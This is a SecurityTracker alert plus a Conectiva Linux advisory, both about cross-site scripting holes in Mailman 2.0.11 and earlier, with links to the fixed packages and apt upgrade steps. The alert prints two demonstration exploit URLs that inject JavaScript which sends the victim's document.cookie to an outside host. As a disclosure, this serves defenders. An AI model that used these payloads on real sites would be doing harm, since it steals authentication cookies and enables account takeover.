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Category:   Application (E-mail Server)  >   Mailman Vendors:   GNU [multiple authors]
(Conectiva Issues Fix) Mailman E-mail Discussion List Software Has More Input Validation Holes That Allow Remote Users to Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1005176
SecurityTracker URL:  http://securitytracker.com/id/1005176
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Sep 4 2002
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 2.0.11 and prior versions
Description:   Some additional input validation vulnerabilities were reported in the Mailman mailing list software. A remote user could conduct cross-site scripting attacks against Mailmain users.

A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the vulnerable Mailman software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

The following demonstration exploit URLs are provided:

http://mailman_site/mailman_dirctory/admin/ml-name?adminpw="/onClick="window.open('http://www.office.ac/j.cgi?'+document.cookie);

http://mailman_site/mailman/subscribe/ml-name?info=<script>document.location%3D"http://www.office.ac/j.cgi?"%2Bdocument.cookie;</script>

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the vulnerable software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   Conectiva has released a fix.

ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/mailman-2.0.13-1U60_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/mailman-2.0.13-1U60_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/mailman-2.0.13-1U70_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/mailman-2.0.13-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/SRPMS/mailman-2.0.13-1U80_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/mailman-2.0.13-1U80_1cl.i386.rpm

Users of Conectiva Linux version 6.0 or higher may use apt to perform upgrades of RPM packages:
- add the following line to /etc/apt/sources.list if it is not there yet (you may also use linuxconf to do this):

rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates

(replace 6.0 with the correct version number if you are not running CL6.0)

- run: apt-get update
- after that, execute: apt-get upgrade

Detailed instructions reagarding the use of apt and upgrade examples can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en

Vendor URL:  mail.python.org/pipermail/mailman-announce/2002-July/000043.html (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Conectiva)
Underlying OS Comments:  6.0, 7.0, 8

Message History:   This archive entry is a follow-up to the message listed below.
Jul 26 2002 Mailman E-mail Discussion List Software Has More Input Validation Holes That Allow Remote Users to Conduct Cross-Site Scripting Attacks



 Source Message Contents

Subject:  [conectiva-updates] [CLA-2002:522] Conectiva Linux Security Announcement - mailman


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
CONECTIVA LINUX SECURITY ANNOUNCEMENT 
- --------------------------------------------------------------------------

PACKAGE   : mailman
SUMMARY   : Cross site scripting vulnerability
DATE      : 2002-09-03 15:55:00
ID        : CLA-2002:522
RELEVANT
RELEASES  : 6.0, 7.0, 8

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DESCRIPTION
 Mailman[1] is a mailing list manager.
 
 "office" reported[3] several cross site scripting vulnerabilities in
 Mailman versions 2.0.11 and older. The authors have been notified and
 released[2] version 2.0.12 shortly thereafter to address these
 issues.
 
 Using these vulnerabilities a remote attacker could obtain sensitive
 information, such as authentication cookies or even the
 administrative password of a specific mailing list, by crafting a
 special URL with javascript in it and somehow having a list
 administrator click on it.
 
 This announcement updates mailman to version 2.0.13.


SOLUTION
 It is recommended that all mailman administratores upgrade their
 packages.
 
 
 REFERENCES
 1.http://www.list.org/
 2.http://mail.python.org/pipermail/mailman-announce/2002-July/000043.html
 3.http://archives.neohapsis.com/archives/bugtraq/2002-07/0268.html


DIRECT DOWNLOAD LINKS TO THE UPDATED PACKAGES
ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/mailman-2.0.13-1U60_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/mailman-2.0.13-1U60_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/mailman-2.0.13-1U70_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/mailman-2.0.13-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/SRPMS/mailman-2.0.13-1U80_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/mailman-2.0.13-1U80_1cl.i386.rpm


ADDITIONAL INSTRUCTIONS
 Users of Conectiva Linux version 6.0 or higher may use apt to perform 
 upgrades of RPM packages:
 - add the following line to /etc/apt/sources.list if it is not there yet
   (you may also use linuxconf to do this):

 rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates

(replace 6.0 with the correct version number if you are not running CL6.0)

 - run:                 apt-get update
 - after that, execute: apt-get upgrade

 Detailed instructions reagarding the use of apt and upgrade examples 
 can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en


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All packages are signed with Conectiva's GPG key. The key and instructions
on how to import it can be found at 
http://distro.conectiva.com.br/seguranca/chave/?idioma=en
Instructions on how to check the signatures of the RPM packages can be
found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en
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All our advisories and generic update instructions can be viewed at
http://distro.conectiva.com.br/atualizacoes/?idioma=en

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subscribe: conectiva-updates-subscribe@papaleguas.conectiva.com.br
unsubscribe: conectiva-updates-unsubscribe@papaleguas.conectiva.com.br
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